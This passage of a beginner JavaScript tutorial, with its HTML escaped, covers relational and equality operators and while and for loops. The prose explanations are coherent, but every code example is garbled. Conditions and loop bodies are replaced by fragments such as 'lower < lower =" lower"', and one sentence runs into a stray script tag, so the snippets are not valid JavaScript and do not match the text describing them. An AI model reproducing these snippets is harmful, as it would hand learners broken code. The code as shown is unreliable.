(curely brackets) is skipped.&lt;br /&gt;&lt;br /&gt;We now run into relational and equality operators. The relational operators are as follows:&lt;br /&gt;&lt;br /&gt;&gt; - Greater than, if the left is greater than the right the statement is true.&lt;br /&gt;&lt; - Less than, if the left is lesser than the right the statement is true. &gt;= - Greater than or equal to. If the left is greater than or equal to the right it is true.&lt;br /&gt;&lt;= - Less than or equal to. If the left is lesser than or equal to the right it is true. So lets run through a quick example of this, in this example the variable 'lower' is set to 1 and the variable 'higher' is set to 10. If lower is less than higher then we add 10 to lower, otherwise we messed up assigning the variables (or with the if statement).&lt;script type="text/javascript"&gt;&lt;br /&gt;&lt;!--  var lower = 1;  var higher = 10;   if (lower &lt; lower =" lower"&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;and now the equality operators, you have already seen one of them in an example: if (name == 'b0iler') the equality operators are == for "equal to" and != for "not equal to". Make sure you always put two equal signs (==) because if you put only one (=) then it will not check for equality. This is a common mistake that is often overlooked.&lt;br /&gt;&lt;br /&gt;Now we will get into loops, loops continue the statements in between the curly brackets {} until they are no longer true. There are 2 main types of loops I will cover: while and for loops. Here is an example of a while loop:&lt;br /&gt;&lt;br /&gt;&lt;script type="text/javascript"&gt;&lt;br /&gt;&lt;!--  var name = 'b0iler';  var namenumber = 1;   while (namenumber &lt; name =" name" namenumber =" namenumber"&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;First 'name' is set to b0iler, then 'namenumber' is set to 1. Here is where we hit the loop, it is a while loop. What happens is while namenumber is less than 5 it does the following 3 commands inside the brackets {}: name = name + name; document.write(name); namenumber = namenumber + 1; The first statement doubles the length of 'name' by adding itself on to itself. The second statement prints 'name'. And the third statement increases 'namenumber' by 1. So since 'namenumber' goes up 1 each time through the loop, the loop will go through 4 times. After the 4th time 'namenumber' will be 5, so the statement namenumber &lt; type="text/javascript"&gt;&lt;br /&gt;&lt;!--  var name = 'b0iler';  for (var namenumber = 1; namenumber &lt; name =" name"&gt;&lt;br /&gt;&lt;/script&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;First the variable name is defined, then it starts the for loop. It assigns 1 to namenumber, then checks if namenumber is less than 5 every time through the loop, and it increases namenumber by 1 every time through the loop (v
